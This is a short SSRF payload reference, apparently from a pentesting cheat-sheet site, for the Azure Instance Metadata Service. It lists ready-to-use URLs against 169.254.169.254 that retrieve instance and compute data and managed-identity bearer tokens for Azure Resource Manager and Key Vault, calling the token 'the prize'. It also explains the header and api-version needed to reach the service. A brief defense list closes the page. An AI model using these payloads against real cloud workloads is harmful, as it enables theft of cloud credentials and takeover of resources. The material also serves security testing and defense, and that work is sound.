Azure Metadata SSRF Payloads
SSRF payloads for the Azure Instance Metadata Service at 169.254.169.254 — managed-identity tokens, instance data, and the required Metadata: true header plus api-version parameter.
Azure's Instance Metadata Service returns a bearer token for the managed identity attached to the VM. It lives at 169.254.169.254 under /metadata.
Two requirements trip people up: the header Metadata: true, and an api-version query parameter — leave the version off and you get an error that looks like a dead endpoint. A GET-only SSRF without header control can't reach it.
The identity/oauth2/token path is the prize; scope the resource parameter to whatever API you want to hit (ARM, Key Vault, Storage).
Azure IMDS endpoints
All require header Metadata: true and an api-version.
http://169.254.169.254/metadata/instance?api-version=2021-02-01Instance metadata (header Metadata: true + api-version required)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/Managed-identity bearer token for ARM — the prize
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.netManaged-identity token scoped to Key Vault
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01Compute details (subscription ID, resource group, VM name)
Defense
- Keep the Metadata: true header requirement; don't proxy it through services that add the header.
- Assign managed identities with least-privilege RBAC and prefer user-assigned identities scoped per workload.
- Block egress to 169.254.169.254 where the workload doesn't need managed-identity tokens.
- Validate every resolved IP against reserved ranges and pin it before connecting.